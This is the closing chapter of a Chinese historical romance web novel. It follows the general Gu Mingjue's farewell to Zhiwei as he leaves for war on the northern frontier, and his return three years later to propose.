他将她的手贴在了自己心口,重复道,“知微,我心悦你,天地可鉴。” 知微对上了他深邃的眼眸,她能感受到他极速的心跳,甚至能听到他心脏跳动的声音,他的表情严肃的像在发誓,叫她不自觉的紧张起来。 她轻轻的嗯了一声,眼神慌乱了一瞬,而后像是下定了决心一般重新对上了他的眼眸,同样认真诚挚,“嗯,我也心悦你,顾铭珏。” 男人像是从未想过她会这么正式的接受并且同他表明心意,愣愣的看着她,眼眶竟然热了起来。 知微看着男人的傻样,轻轻勾起了唇角,坏笑着踮起了脚尖吻向了男人的唇。 她的吻很轻,一下两下,直到男人终于反应过来,红着眼睛加深了这个吻,无尽的爱意全都融化在了这个吻里,甜蜜又漫长…… 一吻结束,知微红着脸躲在男人怀里不愿意出来,顾铭珏轻抚着她的脊背,心情好的不像话,赏,必须赏,今日侯府上下必须都赏半年的月钱!他顾铭珏,终于守得云开见月明了! 听着男人笑出了声,知微从男人怀里出来,撅着嘴嗔怪道,“想什么呢,笑成这般。” 顾铭珏轻轻凑近她耳边,勾的她半边身子麻酥酥的,小声道,“想你,想今日便洞房花烛,恨不得马上就吃了你。” 知微恼羞成怒,死流氓,就会想那档子事情,她将男人狠狠的推开,觉得不解气,还瞪了他一眼。 她又觉得身上有些燥热,转身便打开了半扇窗子,好叫自己冷静冷静。 顾铭珏靠着墙望着她垂眸轻笑,他的知微可真可爱,他的眼睛像是粘在了她身上,他是真的爱惨了她。 不过,他也确实没打算将宋言澈怎么着的,太子看中,他自然是给太子面子的,只是想叫他长长记性罢了。 羽翼未丰,就别出来蹦跶了。 今日知她出来见宋言澈,他确实是有些醋了,那么长时间不见她,他可是急的想翻墙了。 此时,一阵极速的马蹄声传来,打颇了二人的温存场景,伴随着一声声八百里加急!统统闪开!八百里加急!统统闪开! 在听清的一瞬,顾铭珏心里的激荡忽的消散开来,一张脸顿时沉了下来。 出事了!边城出事了! 知微自是也听到了,她一下便推开了另半扇窗子,只见一身穿军装手拿八百里加急令旗的士兵骑着烈马飞驰而来,过往的行人百姓全都让开了道路,停下了手中的动作,紧张的看着飞驰而过的人。 顾铭珏皱眉,心里又惊又急,他张了张嘴,面上着急之色明显。 知微转头看向他,并未言语。 刚才的那般缠绵和互诉衷肠仿佛是二人的错觉一般。 知微从腰间取出了梅神医又花了半月的功夫给她做的三枚保命药丸塞进他手里,轻轻道了声去吧。 顾铭珏紧紧攥着白瓷瓶张了张嘴,知道这是她给自己的答案,她叫他去,她懂他。 那句等我回来,他最终没有说出口。 他只是紧紧的抱住了她,仿佛用尽了身体全部的力气,轻轻的,又似千万斤重。 只片刻,便放开了她。 知微是了解他的,知道这人的抱负,也知他生命中的遗憾是什么。 如今起了战事,他定会是一马当先的那个。 二人谁也没有言语。 知微踮起脚,认真的望着他,轻轻的吻了吻他的唇角,“去吧,去做你该做的事情,不留遗憾。” 顾铭珏笑了起来,轻轻的嗯了一声,他就知道,她是懂他的。 他们没有难分难舍。 顾铭珏又深深的看了知微一眼,这才踏上了窗子,从三楼一跃而下。 黄成牵过马匹,他上马后回望了知微一眼,知微无声道了句保重,他点点头,毅然决然的转身往皇宫而去。 在关乎国家存亡的时候,儿女情长是最不值得一提的事情。 知微坐回了榻上,半晌才叹了口气,揉了揉太阳穴,看着窗外又恢复了热闹的街道不知在想些什么。 花影试探性的敲门,知微收回思绪,罢了,还是先回府等消息去吧。 当夜,顾铭珏亲手接过了太子的军令,跪别了祖母,将侯府托付给红叶,带领了京中的一万将士连夜出发北疆。 而那里,便是顾家军驻扎的地方!也是他爹娘和兄长埋骨之地! 他要去将顾家一门忠肝义胆保家卫国的铮铮铁骨给找回来!他安定侯府,势必当的起安定这个封号! 出发之前。 是夜。 这日回府,知微表现虽同平时无异却还是被沈知蕴看出些什么。 只是她也不知如何劝解,爹爹和兄长夜深了也都还未归家,怕是战事不小。 因着郑国公一派的诸多问题,牵连出了文官武官甚多,如今朝堂上可用的武将少之又少。 顾铭珏应是要挂帅的。 目前也不知郑国公到底泄露了多少国家密事,这次的战事怕是有些难打。 夜深了,知微还是没有睡意。 今日月痕值夜,知微叫她回去睡,自己躺在床上数绵羊。 只是数着数着思绪便飘远了。 这一去,也不知道能不能活着回来。 不行,他必须给老娘活着回来,三年!不!五年吧!她最多能给他五年!不然她就,嗯……她就养几个小白脸!对,养几个小白脸叫他做鬼都不安生。 对,就这么办! 她想的专注,丝毫没注意自己床前的高大身影。 只是心里正想着鬼啊怪的,冷不丁的一转头看到了床前的黑影,一颗心快给她吓蹦出来了。 气的她猛的拉开床幔,然后便看到了自己心里念念叨叨等他五年的人。 她一下便明白过来,这人是来告别的。 眼眶忽的就红了,下了床便扑到来人的怀里,顾铭珏接住了她,二人紧紧的抱在一处。 也不知是谁先开始的,知微踮着脚攀住了男人的脖颈,二人吻的难舍难分,男人小心的托住了她,室内静的只剩二人唇齿相依的声音…… 一吻结束,知微喘着气,闷闷的趴在男人怀里,男人轻轻的抚摸她的背哄着她,“我给你写信,你要记得每封都回好不好。” 知微闷闷的点头,声音瞬时便戴上了哭腔,“那,那你定要平安归来。” 顾铭珏心下一酸,嗯了一声,想开口说些什么,却听到了外头的虫鸣声。 知微也听到了,她缓缓的抬起头,二人对视,男人将她的眼泪擦净,又亲吻着她的额头,从怀里拿出来一枚玉珏塞到她手里,“这是我从小贴身带的,你收好。” 知微接过,小心的放在手里,含着泪轻轻的点头,又不舍得吻了吻他的唇角,“顾铭珏,等你回来,我告诉你一个秘密,好不好?” 再一声好字之后,几分带着急切的虫鸣响起,待知微将眼泪擦净,男人的身影已经消失不见了…… 知微呆呆的站了半晌,之后又动作缓慢的爬上了床。 一夜无眠,脑子里全是二人的过往,走马观花似的。 第一次的有意勾引,心里对他这张脸和身材的诸多满意,之后在做他的妾时的讨好,她被劫走时的胆战心惊,她被他找到时拿着刀想要杀他的心情…… 她找到家人之后,他每一次的故意接近,每一次的讨好,每一次的失望而归,而后每一次豁出性命来救她,点点滴滴的相处就那么一点点的走进了她的心…… 她将自己蒙在被子里,一直到花影来伺候她起床,看到被子里的一团,才小心的将被子拉开,待见到了小姐一双红肿的眼睛,花影差点急哭了。 “小姐,您怎么了这是,您别吓我啊。” 知微摆摆手,轻轻道了声无事,听着动静进来的月痕听见小姐沙哑的嗓音,赶忙去桌上倒水,却看见了一个匣子,匣子下压着一封信,她明明记得昨夜睡前她打扫过,桌子上是干净的。 这…… 她拿起匣子扫了眼信,面上写着,知微亲启。 月痕想到小姐的眼睛,心里有些猜测,忙捧着匣子和信去了床前,“小姐,小姐,您看这个匣子和信……” 知微被月痕唤回了神智,她低垂着眉眼,嗯了一声,轻轻接过匣子放在被子上,又深吸口气打开了信件。 吾爱知微。 当你看到这封信时吾已奔赴北疆。 此一去千里,是为保家卫国,生死未知,吾知你懂吾,信吾会大胜而归。 匣子里是吾多年私库,你且安心收好,若是吾大胜归来,这便是聘礼。 如若不然…… 信应该是匆忙写下的,字迹虽有些潦草,但是一字一句尽是写信之人的真心,最后一句赫然是,吾爱你,至死不渝,只愿吾爱平安康健,一世无忧。 知微并未看完,眼泪便铺天盖地而来,这眼泪来势凶猛,是两个丫鬟从来未见过的模样,两个丫鬟不知所措,花影跟月痕递了个眼神,自己悄悄的退了出去,忙跑着去请大小姐去了。 待沈知微和高氏慌忙赶来,便见知微将信扶在胸口,已经哭的上气不接下气。 高氏心疼的将女儿抱在怀里,沈知蕴抽出了知微手中的信,待看清信里的内容,心里也是一酸,差点掉下泪来。 匣子是顾铭珏留给知微的,信里写着,若是他战死,这匣子里的所有东西便是他送给知微下半生的依靠,叫知微找个可靠的男人嫁了,他会一直守护着她,会看着她幸福。 若是他能平安归来,这便是自己的聘礼,往后的余生他会倾尽他所有,将她视若珍宝只为她幸福。 若是五年内他仍未归来,这匣子里的东西也都是知微的,知微觅得良人,他只会是知微最大的后盾…… 只这一句,叫知微气到不像话,她愤愤的想,等什么等!还五年!最多三年!不!她明日就去养小白脸!气死他个狗东西!呜呜呜,这么大年纪还玩什么纯爱! 说真的,知微不感动就奇了怪了,匣子里面是顾铭珏的私库,他所有的财产都在里头,田产庄子银票铺子,厚厚的一打,怕是能抵的上侯府的半个家业。 高*氏接过信件看过后,也是默默垂泪。她不知道顾铭珏是怀着怎样的心情给知微留下的这封信,但是她知道,他很爱自己的女儿,爱到了骨血里,这个男人是值得女儿托付终生的,这便够了啊,足够了。 得了消息的沈父也着急忙慌的赶了过来,沈知蕴将信件给爹爹看了,沈鸿叹了口气,压制住心中的酸涩,对大女儿摇摇头,道,“叫微儿哭吧,微儿懂他,会想开的。” 他说完便又出了府,马不停蹄的赶去宫中议事了。 一波大军去了,还得继续调兵啊,他忙啊,文武百官都在忙,有国才有家啊! 沈知蕴低垂着眉眼,面色也有些不好。 养兄不在北疆,爹娘并不担心,只是,她怕他会偷偷的去…… 不多会知微便不哭了,只是还是呆呆的,无甚精神。 花影拿鸡蛋帮她消肿,午膳前红叶同念秦一同过来了。 念秦也知道了知微前阵子受伤的事情,心疼的很,现下一过来便看到知微红肿的眼睛,心里又难过起来,这刚明白自己的心意爱人便去打仗了,叫她她也不定得哭成什么样子。 红叶叹了口气,叫念秦来安抚知微,结果二人抱在一起哭起来了,她揉了揉眉心,好不容易才哄着哭做一团的二人分开。 念秦自从怀孕,情绪就敏感的很,从前是个冷面话不多的,如今是一点小事便会掉下泪来。 待二人好不容易止住眼泪,红叶便对知微道,“放心吧,他身边有老侯爷留下的暗卫,还有顾家军,会保护好他的,而且,他也没你想象中的那么弱。” 红叶没说,顾铭珏为知微受的伤,怕大多数时候都是故意的,就他那身手,能伤他的只怕是不多,他那分明就是故意的,不然怎么叫她心疼。 知微轻轻的抽了抽鼻子,眼睛红肿的真如个小兔子一般了,乖乖的嗯了一声,道:“姐姐,我知道的,就是。” 她又差点掉下泪来,深吸口气平缓了心情才继续道,“就是他的银钱怎么都留给我了啊……” 红叶轻轻搂着她的肩,笑的笃定,“那是因为,他知道自己肯定会回来的,也是好叫你的家人看到他对你的拳拳之心,这些都是聘礼,他才不会吃亏呢。” 也就在这一日的皇宫。 陛下因郑国公通敌卖国致使北疆多城失守,怒极攻心竟晕厥过去,一日后竟直接驾崩了。 三日后太子安若瑾继位,改国号为致胜。 同年腊月初八,帝后大婚,北疆战事吃紧,皇后在宫中召集大臣家眷商讨为战争捐款事宜,知微将自己所赚所有的银钱全部捐了去。 大婚后,沈知蕴便未再做过预知梦了,仿佛那确实只是老祖宗对她们沈家的一种警醒和庇佑。 又一年春,知微的酒坊终于开业。 五月,安定侯府老祖宗叫人接回了在乡下的顾青禾,顾青禾不舍乡亲,却还是回去了。 小侍卫牵着她的手,叫她别担心,他会一直在。 六月初,北疆传来战报,顾铭珏收回两城,两国僵持不下。 六月底,安定侯府老祖宗在睡梦中离世,享年71岁。 七月,国安郡主亲自教导顾青禾掌家,顾珞安顾青禾迅速成长。 九月,酒坊在青州开业。 十月,知微回了临县。 …… 又两年后,敌军投降,顾铭珏收复北疆,于九月班师回朝。 正巧是桂花飘香的时节。 知微带着翠儿一起去了庄子,自从知微出事之后翠儿总是无时无刻的跟着姐姐。 知微也说到做到,走到哪里也都带着她。 今日她们是去摘些桂花来酿酒的。 天气很好,惠风和畅。 金桂飘香,大山脚下的这颗桂花树已有百年的树龄,枝叶繁茂,点点金黄缀在枝头,花香浓郁,离的很远便能闻到桂花的香味,仿佛整个人徜徉在桂花海里。 知微今日一身桃粉色长裙,头上只挽了两支玉簪,她站在树下欣赏桂花树,同两年前相比,更美了,如今的她,仿佛一株盛放的牡丹,高贵又艳丽。 翠儿今年十七岁了,已然长成了亭亭玉立的大姑娘。 只是性格还是那样活泼好动,早就爬上了山腰,去摘野果子去了。 知微笑着摇头,同花影月痕专注的摘起桂花来。 因着战事,冯三也是跟着顾铭珏去了北疆,同花影的婚事自是先放了下来,不过二人一直有书信来往。 只听一阵马蹄声传来,知微眉头轻轻皱起,有些无奈的叹了口气,定是她那个二表兄又驾着马过来了,这个二表兄,偶遇了人家庄子里一位休养的贵女,听说是御史大夫家身体不好的小女儿,时不时的就要过来一趟,缠了她几次想要登门拜访,被她给拒了几次了还不死心。 只是她刚要转身训斥,入眼看到的却是一个身穿铠甲的高大身影,这人背着阳光看不清面容,但她却能一眼便认出这人是谁。 黑了,壮了。 她像是定住了一般,手中的竹篮掉在了地上,金黄色的小花撒落了一地。 这人!信上不是说还得几日的路程吗,怎么今日便到了。 就连战事吃紧时二人也是月余便有一封书信的,今日竟然提前回来了,也不说一声,叫她是又惊又喜的。 她轻轻笑了笑,想着三年未见了,心中是诸多的委屈,可眼圈还是先红了起来,撅着嘴巴一眨不眨的望着他。 可思念像是被按上了翅膀,叫她轻易的抬起脚想要向他飞奔而去,只是下一瞬他却已经飞扑而来,将她紧紧拥在怀里。 他的知微将自己照顾的很好,比从前更美了,叫他一眼便入了迷。 他们紧紧拥抱着,仿佛要将这三年的时间给讨回来, “对不起,我回来了。” “嗯。” “我好想你。” “嗯。” “嫁给我好不好?” “嗯……嗯?” 嗯?知微眼角还挂着泪,却不知想到了什么,使使劲将人推开,然后朝男人身后看去。 “咦?女子呢?” “不对啊,话本子不是这样写的,你不是应该带着怀孕的女子回来吗?快生了那一种啊。” 顾铭珏只觉得脑门砰砰直跳,一把将人捞回怀里,捏了一把她腰上的软肉,待她惊呼出声,便听他恶狠狠道,“沈知微!我不在!你到底都在看什么乱七八糟的东西!” 知微一点也不尴尬,她眨巴眨巴眼睛,胡扯的话还未说出口,嘴巴便被男人给堵住了,这一吻,便是铺天盖地一发不可收拾。 被亲个正着的知微偷偷的扬起了唇角,踮起脚尖,攀上了男人的脖颈,不管不顾的热切回应起来。 她才不会承认自己看了多少大将军回归的话本子呢,她自己也偷偷写来着,唔……她还写了不少亲热戏,嘿嘿,这便用上了不是。 阳光正好,微风不臊,刚好她爱的人也回来了,真好…… (正文完)